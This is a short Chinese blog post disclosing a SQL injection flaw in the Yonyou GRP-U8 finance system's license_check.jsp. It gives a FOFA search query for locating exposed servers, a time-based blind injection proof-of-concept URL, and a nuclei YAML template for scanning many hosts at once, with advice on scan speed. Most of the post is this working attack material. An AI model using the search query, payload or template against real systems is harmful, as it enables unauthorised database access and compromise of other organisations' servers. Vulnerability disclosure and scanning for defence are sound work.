用友GRP-U8 license_check.jsp sql注入漏洞

漏洞描述

用友 GRP-U8 license_check.jsp 存在sql注入,攻击者可利用该漏洞执行任意SQL语句,如查询数据、下载数据、写入webshell、执行系统命令以及绕过登录限制等。

漏洞复现

fofa语法:app="用友-GRP-U8"
登录页面如下:

POC:
/u8qx/license_check.jsp?kjnd=1%27;WAITFOR%20DELAY%20%270:0:5%27--

nuclei批量yaml文件

id: yonyou_GRPU8_license_check_sqli
info:
  name: 用友GRP-U8 license_check.jsp sql注入漏洞
  author: mhb17
  severity: critical
  description: description
  reference:
    - https://
  tags: sqli
requests:
  - raw:
      - |+
        GET /u8qx/license_check.jsp?kjnd=1%27;WAITFOR%20DELAY%20%270:0:6%27-- HTTP/1.1
        Host: {{Hostname}}
        Upgrade-Insecure-Requests: 1
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
        Connection: close

    matchers:
      - type: word
        part: header
        words:
          - '200'
      - type: dsl
        dsl:
          - 'duration>=6'

注:使用该批量文件进行批量探测时,请调低nuclei的扫描速率,速率过高可能导致误报

posted @ 2023-10-28 10:17  学安全的小白  阅读(378)  评论(0编辑  收藏  举报